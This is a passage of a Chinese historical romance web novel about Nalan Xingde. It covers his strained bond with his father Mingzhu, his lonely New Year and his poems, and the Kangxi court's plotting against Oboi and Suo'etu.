“我跟公子一起赏诗,却要如此掩人耳目,不觉得可悲吗?” “为什么要悲,菩提一棵,百零八子,数尽盘尽,三千烦恼,三卷文章,人生本来就在弹指一挥间。细小的欢愉也是欢愉,至少对我而言是如此。”容若苦笑,“像是笼中鸟,忽然得衔了春枝一般。” “公子,对不起。” 容若摇头,只抱着关心的口吻,对沈宛叮嘱道:“下回再来,你要小心。” 团茶苦解酒滋味,赌茗翻书相伴浓。 雀绿补天今何在?纳兰香成过帘栊。 南巡北狩君臣事,殿外菩提立银穹。 林深杳杳不见鹿, “为什么把最后一句删去了?” “没写好,却又不知道该怎么改,不如删去。” “我倒是想到了一句,可以添上。” “哪一句?” “春厢茶煮话梧桐。” “公子所补,极佳。” “宛卿,你不告诉我,之前你写了什么?” “我写了公子你,如玉落雪中的你。” “哦,我猜到了,猜准了。” “公子。” “玉落雪中点……” 沈宛单手轻捂容若的薄唇,“公子,别说。不然我会怪自己。” “你看,我好着呢,不至于……” “是,沈宛相信公子好着。” 月色中,他明眸似水,手握一纸缺了一句的诗作,静静站在窗边看她已经离开的身影。 ——宛卿,你想告诉我什么? ——你熟知的宫中环境,你写在诗作的句子,都是从你师傅口中听后总结出来的吗?你师傅是谁,与我大清为敌之人吗? * 早晨。 一家人一起吃早膳的时候,觉罗氏忽然问起:“老爷,皇上来取‘穴砚斋’的楹联的时候,是不是看见了惠儿?” 明珠饮了口热奶茶,“我怎么知道惠儿有没有从房间里出来?皇上要是看见了她也不打紧,只要没有闹的后宫沸沸扬扬就好。” 觉罗氏慎重道:“惠儿一向担心容若的身子,容若在‘穴砚斋’挨冻,她即便是没出来,也会打开房间的窗子来看吧?毕竟皇上闹出了这么大动静来——” “要是机缘如此,那就是天意。”明珠单手往上一指,“话说回来,现在皇上跟赫舍里皇后之间因为索额图父子之事,还指不定关系变成了什么样呢。万一皇上在皇后面前多提了一句:‘某日某时在明珠家看见了什么……’皇后为了颜面,告状告到了太皇太后耳边,说:‘皇上在未选秀之前就跟秀女私会,老祖宗您可不能不管。’那就是我的责任,会担什么罪还不知道呢。” “不行。”明珠一斟酌,放下碗筷,“我得进宫一趟,把该料理的事情料理了、该善后的事情善后了,不然我心里不安呐。” “老爷,吃完早膳再去吧?” “我不吃了,夫人你跟容若慢慢吃。” 明珠走后,觉罗氏见容若乖乖地吃饼喝粥,就问他: “儿子,你怎么没对你阿玛说句话?是对皇上阴晴不定的性子服气了,不想再管了吗?这样也好,额娘就希望你静养着、把身体养好,过个吉祥年。” 容若安慰额娘道:“儿知道阿玛和额娘在担心什么,儿已经为纳兰家考虑过对策了,就是为了避免遇见今日局面。” “是吗?”对容若的先见之明,觉罗氏面露惊喜。 “内务府总管噶禄,定会念着阿玛的救命之恩【注1】,不会叫惠儿在选秀前后受委屈。即便是皇上在皇后面前失言,儿相信太皇太后过问起来,噶禄也会为纳兰家说话,不让帝后在选秀前后闹的不愉快。” “那你不早些向老爷说明?” “阿玛急着进宫,不是为了惠儿的事。如果儿没猜错,阿玛应该为了‘擒拿鳌拜’一事,去向太皇太后报告筹备的进度。” “何以见得?” “料理和善后,阿玛的话里,前者是指:训练精干的八旗子弟这项密任,在意‘料’之中,自己并未置之不‘理’;后者是指:妥‘善’说服皇上配合之事,还要有劳太皇太‘后’。” 觉罗氏欣赏这样的父子关系,道:“容若,你果然是最懂你阿玛的人。你阿玛的前路之上,少不了你阿!” 容若单手托着侧脸,期盼道:“儿想要的,只是一盘完整的棋局、一餐完整的饭局,相信这么简单的要求,阿玛会成全的吧?” “傻孩子。”觉罗氏柔声关爱道,“别说是棋局和饭局,等到日后你参加科举、拿下功名,父子同朝为官,相处的时间不是更多?” 丫鬟们撤去早膳的餐碟以后,觉罗氏见惠儿的身影从窗外走过,像是要去看玉兰树。她不禁道:“容若,你为惠儿……” “是,儿想为惠儿好,就想了‘叫阿玛保噶禄‘的这一招。” “那可要额娘告知惠儿?” “额娘跟惠儿说起这件事的时候,把功劳都归在阿玛身上就好。” “容若,你何苦呢?” “说的越多,惠儿就惦记我越多。但是在将来,她夫君是皇上,她要盼望的、要面对的人也是皇上,不是我。” “额娘只怕迟早有一天,皇上会意识到是你啊。” “那就等那一天到了再说,儿希望不会到。” * 慈宁宫里,孝庄太后听完明珠的汇报,陷入了沉默。 她在思虑:如今的局面是索党处在下风,明党处在上风,要是叫玄烨趁机除掉鳌拜,怕是不妥。鳌拜一除,朝中三足鼎立之势一破,必将陷入明索两党相争的新局,不见得最佳。 但是换个角度,如果皇上能够将大权独揽在手,对爱新觉罗家而言,倒也是件可喜可贺的事。 这人呐,特别是处在这个年纪的人,不管他是帝王还是高贵门第出身公子,也不管他是平头百姓还是寺院小僧,心中的气概是最强盛的时候,都一样,想着大展身手干番大事呢。 明珠道:“臣以为,皇上这次能够处置索额图,是因为鳌拜默许了的缘故。当然臣不是指皇上完全没有功劳,而是皇权尚未完全集中,行事还需谨慎为上。” 孝庄问:“既然照你说的,精干的八旗子弟都训练的差不多了,可以安排他们入宫来给皇上当陪练,以掩盖擒贼的目的,那什么时候行动合适?” 明珠顾虑周全道:“这要看太皇太后和皇上的情份,一方说服另一方,另一方接受对方,才能无缝配合,擒贼于天罗地网之中。” 孝庄忽然插了句话:“明珠,你儿子纳兰性德的婚配之事你想过吗?” 明珠一怔,反应过来后,连忙道:“臣自当会教导容若以大局和大清为重,不可轻挑了自己一厢情愿喜欢之人。” “纳兰的婚事我会做主,一定给他挑一个好姑娘。”孝庄揉了揉太阳穴,“皇上在我面前提到过一个人。” “太皇太后请讲——” “鳌拜的堂侄女瓜尔佳·云辞。这孩子跟别的八旗格格不同,平日里喜欢搜集和玩弄西洋的东西,也不拿咱们满人的姓氏做称,偏爱用了汉人女子的名字‘官云辞’来刻章和交际。” “臣惶恐。”明珠做出了惊慌模样 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“步骤十分妥当。”孝庄担忧道,“但是鳌拜作为:满清第一巴图鲁,功夫自然是不会差,以一敌十也未可知。” “尽人事,方可知天命。”明珠神色坚毅,“臣愿意跟皇上里应外合,誓死保护圣驾。” “你的意思是?” “当八旗子弟与鳌拜相斗之际,臣会迅速领一路援军前来,逮贼护主,尽身为臣子的本份。” 孝庄神色一惊,“你是想问我拿兵马的调动大权?” “如果太皇太后信的过臣,还请将调动兵马的令牌交给臣。”明珠忽然起誓,“臣要是不忠,天打雷劈而死!” “我自然是相信明珠你的忠心,不然我也不会让你的儿子当君侧之臣。” 孝庄站起,由苏麻喇姑扶着向前走了几步路。 “多谢太皇太后。”明珠向行一跪拜之礼,“如此,臣就可以安心部署兵马和调遣那些陪练子弟,好为擒贼的大捷之战打好基础。” “好,这件事就这么办。”孝庄扬手叫了明珠起来,“我会尽早跟皇上商议。” “臣告退。” “哦,对了。”孝庄忽然想起,“我听说有几处地方的残明余党蠢蠢欲动,今晚明珠你就留在宫中,跟那些议政王大臣们共商对策后,再回去吧!” “臣遵太皇太后懿旨。” * 晚上。 容若独自坐在残局之前。 他觉得记忆力太好有时候并不是好事,复原了棋局模样,少了对弈的人,自己并行棋路也是寂寞。 贴身侍女袖云上前,温言提醒道:“公子,您对着棋局出神好久了,晚膳也搁置在桌上好久了。” 容若目线未动,注意力还在黑白棋子之间,只道:“叫别的丫鬟把晚膳端走吧,一个人吃也是无趣。” “公子多少吃一些,不然老爷和夫人回来后要怪。” 容若微抬头,看向窗外。 ——是了,今晚不但阿玛不在,连额娘也出去为家族之事走动了。惠儿在房中看书,天色未黑之时,她就已经吃过饭食。 ——终究还是奢望。一盘棋,半明半灭,执子何存期盼;一局饭,一人一室,相对哪来牵绊? 对弈不叫对弈,团圆不叫团圆,如今可是将近年关了。 “一家子,一家子……” 容若在心中喃喃重复这个自带了温度的词语。 ——聚在一起就这么难吗? ——若是,我是该盼一个团团圆圆的年?还是一回团团圆圆的生日?或许,我什么都不该盼,变数总是多于定数,相欺总是多于相许,这么多年,这么多回,还不习惯吗? “袖云给公子添一只烧麦过来可好?厨房新来的厨子出了新花样,往烧麦里面填了奶酪和肉松,公子可要试试?” 容若不直接回应,而是从软榻上起了身,关上了半开的窗户。 袖云也不敢再多说什么了,只默默地扶公子下了榻,好生伺候着。 “完整的棋局和饭局,明明是简单之事,可是对我而言,却是要小心翼翼盼望和珍惜之事。自是有憾,无计可消除。” 说罢,容若来到饭桌前,一个人安静地动了筷。 “袖云给公子盛汤。” “不用了,我自己吃,想吃什么吃什么、想吃多少吃多少、想怎么吃怎么吃。不必配合着阿玛和额娘的速度,怕吃快了也怕吃慢了,不能用同样的调子、同样的节奏一起吃完。” “公子您怎么了?” “什么锦衣玉食,什么琴棋书画,一家人团圆的时间还要等机遇来成全,我还不如跟禹画师一起去街头吃市井小吃,看些热闹的景象和听些嘈杂的话,胜过在这个房间里百倍。” “那公子您就悄着出去,袖云会帮您想好老爷和夫人追问之后的说辞。” 停筷之间,容若仰起了头。 袖云在手中拿着一条软帕, 无声胜有声之中,她仿若听见了几滴晶莹落地生花的轻叩; 温冷交织成隐纱,她似乎看见了双眸微颤心死如灰的寂寞。 ——公子,您流泪,流泪了呢。 【注1】养心殿大火,玄烨认为内务府总管噶禄失职,要对他革职处死,后噶禄为明珠所救。实际上这是容若的安排,他猜到玄烨会拿噶禄出气,才叫明珠保噶禄不死、好让噶禄对纳兰家记恩。见第17章 20.第20章 玄烨倒是没把自己看见了纳兰惠儿的事情,拿到赫舍里皇后面前说。 但是赫舍里皇后自从听了苏麻喇姑的开导之后,就不再对索额图父子之事耿耿于怀了。毕竟只是被关在索府之中不得外出,又不是真的下了狱,事态也没有那么糟糕。 帝后一起走在御花园中的时候,玄烨忽然心血来潮,对顾问行道:“顾总管,把朕有意向备选的、要送给纳兰的生日恩赏都记下来。” 随后,他就列举出了一大串东西来。 “万岁爷,奴才知道您有心,但也要提醒您一句,纳兰公子的生日在元旦之后呢,您可千万别记反了。” “你倒是别给朕记漏了,还有,朕要给纳兰送一些书,像是……” 赫舍里皇后终于忍不住,打断道:“皇上要是每次跟臣妾到御花园来,都要刻意提及纳兰公子的话,那臣妾还是先行告退的好。” 玄烨往小亭台一指,意思是:“跟朕一起到那里去坐坐。” 坐下后,玄烨道:“目前的朝堂,朕在乎的是鳌拜、明珠、索额图三人。索额图刁钻老辣又爱弄权,朕看在眼里且明白的很,等到日后你诞下皇子,还指不定他会如何拥立这位小阿哥,所以你最好给索额图提个醒,叫他别以为朕还没有集权,就没能耐来一场雷鸣电闪的吏治大整顿。” “后宫不许干政,臣妾一直记在心里。”赫舍里对皇上的态度有些不满,就跟是自己被皇上怀疑了一样,“但是臣妾会将皇上的意思向叔父转达。” “你呢,就是反应不够快。”玄烨直接指出道,“换做纳兰,他就能知道朕在暗示什么。朕叫你给索额图做提醒,就表示朕同意索额图以戴罪之身来见你,明白了吗?” “臣妾不喜欢参与政事,所以不想把政治上的事情看的太透、猜的太透。皇上愿意让叔父与臣妾相见,臣妾自然是多谢。” 玄烨原本是起身想走,但是在顾总管的暗示下,还是忍了下来,没有离皇后而去。 “朕再多对你说几句话,你听的懂最好,听不懂朕也不强求。” “索额图之子阿尔吉善朕是绝对不会姑息的,该有的罪证有了,该提的口供提出来了,该抄的私藏品也抄了,他这就是犯了‘贼喊捉贼’之罪,贪污按律应当处死,朕看在你的份上,只将他流放蛮夷之地,勒令他不许再回京师。你觉得朕处置的妥当吗?” 赫舍里皇后道:“您是皇上,所拿的主意自然是妥当,阿尔吉善能够留下一条命,是万幸,臣妾替他给皇上谢恩。” “朕其实是想告诉你,不处置索额图是因为他作为朝中的平衡点现在还倒不得,清明以待阿尔吉善是因为朕有苦衷,知道这黑白之间还带着一点灰,不能做的太绝了。” “朕哪里开过恩?”玄烨面带失望,“皇后替阿尔吉善谢朕什么恩?朕的利弊权衡取其轻,在你眼里就是宽宏大量吗?” “臣妾不知道应该怎么回应皇上。” 赫舍里皇后心里很是煎熬。 玄烨也没有兴趣再往下说,只是握了握皇后的手,就起身离开了。 他的心里,已经开始盼着秀女大选的到来了。如果可以挑一个能够对政治手腕有见解的女子,好像也不错。 哪怕那个女子是纳兰家推选出来的,也无所谓。 只要她能够知道朕的话的重点和隐藏意就好,只要她懂政而不干政就好,只要能从纳兰惠儿身上,找到那么几丝——纳兰明珠的处事有道、纳兰性德的才气才情就好……都是一家人的话,应该相差不大吧? * 明府花园的小亭子里。 纳兰父子正在温茶赏雪,说是雅致看风景,其实还是相互讨论着朝中之事。 “皇上对索额图父子的处置已经出来了,索额图本人罚俸收权,儿子阿尔吉善流放。” “儿在想,如果皇上对惠儿说了这些,惠儿该怎么答。” “该怎么答?”明珠对儿子的话里的玄机一悟,“你教她什么了?” “作为皇上的妃子,该怎么答和会怎么答,区别就在于:心里对皇上真正想说的话有没有一个数。一个‘该’字,就足以让皇上见得:回话者已经思量过了且有主见了。阿玛您说是吗?” “你既然知道这个道理,为什么还要顶撞皇上?” “皇上是真性情,儿这只笼中鸟,也想从喉咙里发出几句剧烈的心声罢了。” “你这么暗示阿玛:自己不快活,阿玛倒是想让你早点娶妻,好让你的身边多一个人来陪伴和照顾,恰好太皇太后给提起——” “茶要凉了,请阿玛先喝一口。” “真值得。” 容若向明珠会心一笑,起身道:“多谢阿玛明示。” “你——” 明珠拉着儿子的手走出亭子外,父子俩站在一片晴空之下。 “我哪里明示了?” “儿子就是听出来了。值得的不是指婚对象、不是儿子泡的茶,而是接下来阿玛要升任从一品的刑部尚书了。” “你如何知道?” “正吏治肃朝纲,可忍绊脚石(索额图),必除眼中钉(鳌拜)。天子亲政,升平安民,刑部为先,明珠立功,可得重用,真值得。阿玛想说的是这个。” “我一句没有跟你提起过啊!” “阿玛去见了太皇太后,回家回的又晚,所以儿就自己推敲出来了。” “容若,你这般聪慧,日后要是从‘君侧之臣’变为‘帷幄之臣’,才高遭忌,可怎么好?锋芒这东西,不是你想收敛就收敛的住的呀!” “真到了那时候,皇上或是时局觉得纳兰性德非死不可,那纳兰性德在死前也会拼力保全阿玛、保全纳兰家。” “别说这般有预见性的话,仔细言灵。” “阿玛能步步高升是好事,儿应该恭喜阿玛才对。”容若第一次在明珠面前说了前言不搭后语的话,“只是……独自吃两只烧麦和一碗萝卜素汤,饱中觉寂。” 明珠对儿子的意思懂了八成,千言万语的反省和关心,只化作一句:“那可睡好了?” “阿玛知道儿是因何而寂,也知道儿有没有睡好。” 明珠目光温和,道:“事后关心不如当下补偿,只是接下来——” 只是? 容若心里有数却忍痛了然出了一个事实来。 他顺着明珠的话、照着明珠的意思补充道: “接下来临近年末,阿玛公务繁忙,额娘多方走动打点之事诸多,只怕是一家人一起坐下来吃饭的时间更少。” “即便是补偿,阿玛也已经补偿过了,儿不怪不怨。今日这番时光,儿亦是珍惜。” “你……让阿玛愧无立足之地。” “如今阿玛你不是满朝之中最忙的人,可是总有一天,你会成为那个站在权力之巅的最大忙人。试问到时候,儿该如何开口、如何叫你成全儿的两个小愿:团圆吃饭、对弈至终。” “这番赞否两论的话,你真是说到阿玛心坎里去了。”明珠抓起容若的手,贴在自己的心肝上,“你摸一摸阿玛的心,是否真的愧意满满。” “儿只怕一饭局、一棋局都是自己要来的,显得贪心。” “是阿玛让你难过伤心了。” “身为儿女,不该让父母反过来道歉,阿玛就当作……这回是儿任性了吧。” “儿告退。” “容若,容若……” 容若并未在明珠的呼唤声中回头。 可是,那份向明珠说出了心里话之后的心情,却让他一身自在。 * 一片萧瑟与寒冷之中。 身着罪臣之服的索额图,眼睁睁地看着儿子阿尔吉善被官兵带走。 接下来,阿尔吉善会被戴上镣铐押往被流放之地,这一程阿尔吉善必将是凶多吉少。 何以见得? 凭借多年的官场经验,索额图断定:鳌拜一除,明珠必定升任刑部尚书。 皇上这么安排的用意有二,一方面是让明珠自省自查,不要不走阳关道而走独木桥,以权入错,悔之晚矣;另一方面是借着这次的索党之乱或者说索党之败,来给明珠一个居功的机会,让他掌管刑部来报效大清,减少一些冤假错案来摆正君威。 刑部的官员们为了依附于明珠,这桩索额图之子的流放事件,能不往“打压索党、投奔明党”上面去做吗? 索额图“哼”了一声,回到府中。 他对夫人道:“幸好我不是只有一个儿子,折损了一个阿尔吉善,还有格尔芬。” 佟佳氏才抹完了眼泪,道:“儿子的旦夕祸福,哪个不是牵系着我这个额娘的心?妾身请老爷以后多加谨慎,不要再入纳兰父子的圈套。” 索额图因为听到政敌的名字而气愤,重拍了一下桌子。 “现在指不定纳兰父子在谋划什么!团圆过年、大公子过生日、自己因功授禄,三喜临门,想想明珠那副得意的样子吧,明府的门槛怕是要被门客们踏破了。” “老爷。”佟佳氏顺着夫君的后背让夫君消气,“明珠的夫人觉罗氏近来多方走动,借着串门的理由,跟众多王爷、贝勒、亲贵们的福晋交好。” “你要是有觉罗氏那些八面玲珑的本事,大可以效仿着来为我办事。”索额图冷道,“格尔芬要是有纳兰性德的一半才华、一半心计、一半推敲力,我何愁不能把明珠打倒?” “就算老爷你说的没错,天理也是摆在那里的:位高者必消长,才高者必短寿。怎见得纳兰父子能一直占尽优势?” “呵呵。”索额图终于笑了,“承接再多的天赋天恩,纳兰父子都是皇上的奴才,奴才的生死荣辱——可不是仰仗皇恩,而是自求多福。” “皇上给我一个机会,不接白不接,我要进宫去见赫舍里皇后。” “不是‘恩典’吗老爷?” “这次事件当中,皇上何曾给过恩典?不过是纳兰父子自导自演了一场火灾、一例被告贪赃、一套砸石索党的连环计罢了。皇上是参与者和配合者,处理此事不过是要告诉包括鳌拜在内的群臣:江山是朕的,谁敢跟朕不过去、跟朕的人过不去,一旦证据确凿,朕就要谁好看,要谁长记性!” “老爷一言惊醒梦中人啊。” “即便如此,现在的我也是明珠的大公子的上司,皇上身边的侍卫和陪臣都是归我管的。” “妾身明白了,皇上要擒拿鳌拜,离不开老爷您的出力。” “皇上要利用身边的人的力量来做成一件大事,就不得不承认我的存在。除鳌拜,光有明珠一个人怎么够?还是要有我啊!所以皇上能不对我有所迁就吗?这就是皇上没对我做大处置的原因。” * “庄周梦蝶”字画店中,周之捷周老板客客气气地请了纳兰公子上座。 容若道:“我自觉得近来的鉴画技巧提升了许多,大抵是——”他把话峰一转,把原本想说的“独处磨时,对画问借”八个字换成了“把精力都消磨在那里去了都缘故。” 周老板上茶道:“明珠大人为公子搜罗到的自然都是好东西,公子真迹看多了,自然可以火眼辨伪。” “意趣所在,真假倒是无所谓。只是神思过多,不知是好是坏?” “小的以为,公子边瞧边想,却也还好,喜可赞,劣可叹;就怕公子钻进了自己的画里,走不出来了。” “会吗?” “公子是性情中人,难保不会。也不是没有止损的办法,只要公子乐意,将作画的时间换成别的消遣,不也挺好吗?” “比如说?” “公子这么一问,小的倒是不会答了。像是我们百姓,年关之际自然都是忙活一些:盘存除旧、置办年货、内外打扫、挂灯贴福、入庙烧香之类的事情,一家子一起进进出出、唠唠嗑嗑,不亦说乎。放到明府——” 周老板双手抱拳一向,道:“那些事不都是交给下人们去做的吗?甚至连收贺年礼这样的‘活计’,也是有别的。我们老百姓是寻纳一份好意头和礼尚往来,高官们却是走人情和打点关系,各有千秋,不可说啊!” “唔。” “公子多来小的这里也无妨,小的这里虽不是全京师最顶好的地方,但也不缺文人雅客和江湖奇士,公子好 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“可是画还没有——” “周老板是商人,商人晓得客人半途而走的意思,不是不想等而是有别的事要忙,所以他不会怪你不打招呼而走。” “我从小学到的礼数不是这样的。” “你不信我?” “信,我跟你走。” 沈宛忽然觉得: 纳兰公子是个纯粹起来很纯粹、聪慧起来很聪慧的人。 他对凡事都有自己的判断,一旦猜透了对方的心思,就绝不多说多问,只会选择最佳的方式来行动。 跟你走。 (公子说他愿意跟我走。) 这三个字,更像是一种飞鸟出笼后的放开和洒脱。 ——真不知道公子在家中经历了什么? ——才会答应的这么快,付诸行动的这么快。 * 来到一处高楼,容若抬头仰望。 最直观的感觉,就是:端方如盒,角悬铃钟。七层而立,攀顶触云。 “冬来每次在空旷的地方抬头望天,我都会情不自禁地伸出手去接雪。皇上笑我道:‘纳兰你是小孩子吗?赏雪又不是赏花,一脸孩子气的模样盯着掌心的白绒看,真叫朕笑话。’我说我是,我喜欢雪不择时空,任性自如,一旦下了,就纷纷扬扬。” “公子真不怕自己冻坏了?冻化了?” “小孩子哪里会怕冻,很能跑,也很能由着性子来。” 容若步步往上走,脚踩踏在古朴的楼梯上。 高楼内,是折逆的光和影,放慢速度,却是可以看见自己的影子。周边,有着不知道是哪朝哪代的匠人留下的木雕和漆塑,斑驳零落,模样却还在,仿佛在诉说着段段不属于大清的往事。 他忽然停在楼梯的半途中,推开了旁侧的,已经尘封了时光的方形窗叶。 他看向的,是皇宫的方位,怎么就想起皇上了呢? 玄烨那家伙,自负、霸气、满腔热血。 自己作为陪臣走到他身边的第一天,听见他说的第一句话是:“朕是天下第一明君,所以朕要的是天下第一贤臣。” 玄烨的那份执着和不容置否的帝王范,让自己心甘情愿地决心辅佐他。不,说“辅佐”还尚早,彼此的关系,只能算作是“同心”。 ——从同心到协力,此中跨越了多少年,皇上你还记得吗? ——了解纳兰的人是皇上,了解皇上的人是纳兰,这个事实没有变过。 “公子,你怎么不走了?” “不必走到高楼的顶层,就站在这里,这个角度,宛卿你看——” 容若指向方窗外。 当怜取,云水天地,一片皑皑难摹难合。 轻模样,冷处偏佳,别有根芽,不是人间富贵花。 【注1】 “宛卿,你知道寻常百姓家团圆、一家子一起吃年夜饭的时候,我在做什么吗?” “公子,到楼顶说吧!这里太暗了,我想看见澄澈的天色下面的你。” “我呀……坐在回廊下面的栏轩上,背靠着漆红色的柱子,问自己:雪先停?还是阿玛和额娘先回?然后我把利是拿给我的弟弟揆叙和揆方,我问他俩:‘要不要跟长兄一起……’然后,俩他异口同声地反问我:‘有我们在,长兄你也很寂寞吗?’我叫嬷嬷带他们回别所去。我自己走向书房,铺陈纸笔,落墨成画,落墨成词。” “把既成的画作、词作焚尽,焚进我的纳兰香里,只当自己没画过、也没写过。天明之后,我经过堆放了无尽数的礼物的厅堂,去给不知什么时候回来的阿玛和额娘请早安,我带着如既往的笑容,说自己准备好了,可以随阿玛和额娘一同进宫去给太皇太后贺年了。阿玛问我画作和词作都完成没有、写好没有?我说阿玛放心,儿都画好了、写好了。” “可是宛卿……带着复杂离合的心情,一而再,再而三,三而出的作品,哪里是落墨,分明是落寞。” “公子……” “幸好是白天,不然明月多情应笑我,笑我先惧佳节,卷上泼墨。” “是,沈宛明白。” “所以皇上叫我代拟‘岁末把笔’的时候,我答应了。我甚至想,因此犯下杀头大罪有什么所谓?为皇上、为大清、为天下人写新年贺词有何不可?那也比年年除夕、独自在家里没有盼头地作画和写词强啊!” “公子,你这是真心话?” “嗯,一句在父母和在皇上面前,都说不得的真心话。” 高楼之顶,寒风呼啸。 极目远眺,可见接天一色的云烟。 容若扶着栏杆,悬着一颗空落落的心,都说出来了,都告诉了宛卿了,但是宛卿知道了又怎么样呢? ——她能改变什么? ——能够改变我这种越近年关,就越怕旧景循环的状态吗? 【注1】后半句,出自纳兰性德《采桑子,塞上咏雪花》 21.第21章 书房之外,几位份量重的臣子求见皇帝。 他们是以“遵礼法”和“正君心”为由,来要求皇帝做出一个交待的。 “谁还敢再提——”玄烨往地上砸了一个杯子,“岁末把笔之事,朕说过了会自己写,你们这些奏章弹劾什么?年末没有其他大事值得关注了是吗?” “那个纳兰性德非处置不可!”一位八旗王爷道,“恃才而骄,凌越规矩,目无法纪。” “法纪?”玄烨冷笑,“要不是纳兰自己拒绝,朕就能将‘代拟之事’定为法纪,以后年年如此。” 一位资历老臣道:“皇上如果是这种态度,臣等就要重新商议,另立新君了。” “放肆!”玄烨拍案而起,“这样不臣之心的话都敢说出口,是真把朕当成任人宰割的傀儡了吗?从明年开始,朕要用二十年让大清江山换个模样,你就活久一点,好好看着朕的丰功伟绩吧!” 那位老臣无疑是被皇上的气魄吓了一跳,一句都不敢再吭声了。 玄烨随手抓起几本奏折扔回了那些大臣脚下,气势恢宏道: “如果你等不知道什么是当务之急,那就由朕来告诉你们:一为河务,二为漕运。大运河何其重要,是我大清的经济之脉,钱粮运输,事关国家长治久安。明亡至今,江山到了朕这一代,朕岂能容忍水患与灾患?漕运受阻,则漕粮无出,如此导致国库空虚,难民百姓必定揭竿而起,还谈什么盛世太平和长治久安?” “指望你们自然是指望不上,朕会自己拿出一番——治河兴天下的大计大策来,委任良臣付诸实施,叫老天爷和叫不满朕的人都知道,康熙皇帝是一位不平庸、不无能、不守旧、不踌躇的旷世明君!” “顾问行,传朕旨意,去把‘河务’与‘漕运’二词刻在内廷的柱子上,让那些倚老卖老、还惦记着军功世袭的八旗王爷贝勒,以及那些依附党阀、故作姿态的汉人大臣都看清楚,朕接下来会有如何一番大作为!” “万岁爷神武!奴才遵旨!” 那些臣子落荒而逃。 玄烨独自坐在书房里,推开了一幅天下地形图。 “天下,这就是朕的天下!” “纳兰,等朕拿下鳌拜之后,就换一副样子来给你看看,就算是朕没法从你手里拿到一首歌颂文治武功之词,也要当一个被你认可的皇帝。” * 西风透帘过,烛火动似澜。 天应怜才高,孤影隔深岚。 明珠站在容若的书房门口,几欲敲门进去,却又最终放弃。 容若其实看见了阿玛的身影,却对侍女袖云道:“立个屏风也无妨。” 袖云一边研墨,一边温声道:“公子,仔细失落太深,屏风挡更伤。” 明珠回到了房中,不见夫人身影,气得叫来了管家。 “如今皇上不是孤家寡人,本官倒是冷冷清清一个人了!儿子回避我,夫人宿‘济国寺’祈福,惠儿温书自华……本官的处境,连戴罪家中的索额图都不如!” “老爷,您谁都怪不得啊。”管家客观道,“您不给公子一局棋、一顿饭的完整时间也就罢了,前几天,您连公子花了心思去泡的茶都没饮完,又对他失了一盏茶……不能怪公子。” “本官不就是说出了‘值得’二字吗?换别人的儿子,早就当作是‘赞茶’来领情谢父了。放到我明珠的儿子的耳朵里,就成了:‘多谢阿玛明示。’……唉!” “公子向来心思细腻。”管家分析道,“举一反三,听一知百。老爷,这是您的福气才对呀!” “是我明珠的福气,但也是我明珠的悲哀。容若不但是对我这个阿玛,对谁都至情至义,这就是他慧极必伤的根源啊。” “你去给本官拿酒来。” “老爷。” “别的父子之间起了小摩擦,都是一壶酒可以解决的,纳兰父子之间呢?就让我明珠一人一醉方休来作罢吧!” “老爷,对待公子,也是要哄。多陪陪他,他一舒心,就什么都好了。何苦往自己肚子里灌酒,消愁愁更愁。” “今夜本官就是要买醉,去拿。” * 夜深。 容若才躺下没多久,袖云过来道:“袖云不该打扰公子,只是管家来说,老爷醉的厉害,请公子过去看看。” “袖云,去点灯。” 容若从床上坐起,靠坐在床屏上。 “袖云伺候公子穿衣,请公子下床。” “不去。” “公子为何?” “你把我的百零八子菩提手串拿过来。”容若通透道,“你知道,阿玛要那样,今晚我也不必睡了。” 盘了一阵子菩提手串,容若倒是觉得耳边清静了,不再有府中管事的人过来请他去看看明珠。 想来阿玛的酒量的也不错,平日里应对宫宴和家里的客宴,即便是喝多了也少醉。这回好好醉上一宿也好,只当是放开了怀买醉,好少些处心积虑的谋前程的时间,真正梦入周公。 专心致志的时候,人就不容易乏倦。 但是越是清醒,就越是知道:缘起缘灭的烦恼,非盘数菩提子可消。亦深亦浅的父子情,非穿菩提子的素绳可连。 容若问袖云:“日后世人看《明珠家事》,提及这样的我和这样的阿玛,会怎么想?还不如一句话带过:容若煮茗,父尝之,后曰值得。容若伤,避父不见。父醉,局破,遂合之如初。” 袖云在一旁陪着,道:“总归是父子之间会化解的事。公子手凉,不如把菩提手串缠在手腕上,将双手放进暖被里温一温吧?” “想……写一首词。” “是,袖云去拿公子的衣服和准备笔墨。” 《浣溪沙·庚申除夜》 收取闲心冷处浓,舞裙犹忆柘枝红。谁家刻烛待春风。 竹叶樽空翻采燕,九枝灯灺颤金虫。风流端合倚天公。 “提前写了除夕的词,但又不想留下。” 说罢,容若拨了拨桌面上的灯芯。 袖云阻拦道:“公子别烧,留着给袖云珍藏一辈子也是好的。” 容若问她:“以乐写悲,这样的除夕词,你留着也无妨吗?” “只要是公子写的,袖云都愿意存着。”她双眸深深道,“袖云陪着公子,是能够体会到公子在词中的实际情感的。” “人间闲情、阖家欢愉,却要依赖老天爷来成全。”容若摇头,“这首词,我写的不好。” “词中都是公子对童年生活的回忆,没有一字一句提到现在,袖云便是明白了:一切物是人非,过犹不及,不如不求。” ——容若欣慰一笑,侍女说的没错,的确是这个意思。 ——再好的场景,再华美的布置,时过境迁,也不过是一场空。 “那你说,我应该如何平衡自己的心境?” “袖云相信,公子期待的春风,会来的。” “袖云,你为什么落泪?” “赶在公子之前落泪,就可以让公子少流泪、不流泪,因为纳兰的心事,是有人知的。” * 容若离开桌案,掀开了厚门帘,走出了房间外。 他久久伫立在霜雪寒风中,看着明珠所在的屋子。 ——阿玛,儿就这般站到天亮,也觉得没关系。 ——词中所写的一幕一幕,还仿佛昨日一般,儿还是在揆叙和揆方的年纪,还没有以笔墨名震天下,还没有走到皇上身侧。阿玛和额娘的养育之恩,儿还未尽报,因为小愿而攒成了大愿,避而不见一切,儿确实是不该。 容若低下头,走到了一盆耐寒的铁筷子【注1】面前,蹲下轻轻拨弄花瓣上的残雪。 然后,他回头对侍女道:“袖云,你去拿提灯来,就放在这附近。我不想进屋了,有花在,我安然,希望阿玛也安然。” 天微微亮以后,容若被袖云扶着回房,地上的提灯已经燃尽。 他眨了一下眼睛,掉落了一些瞬间不见的霜华。 他对袖云摇头,道: “我不想躺回榻上,只想在书桌后面坐着,重写一份心情。袖云你别急着去为我准备梳洗和早膳之事,陪着我,我不想独自落墨,不想……” 温暖了双手和活动得了指关节之后,伴着菩提手串,容若在纸上写下: 《菩提词》 飞雪花开花见情,飞雪花落花菩提。 菩提指染指有意,菩提指去指相惜。 结遍兰襟,仍恨回廊悠长,尽处明珠,此处枯灯。 无凭心情,一纸冷墨暖意,楼内成德,楼外醉翁。 * 明珠醒了,带着一身酒气。 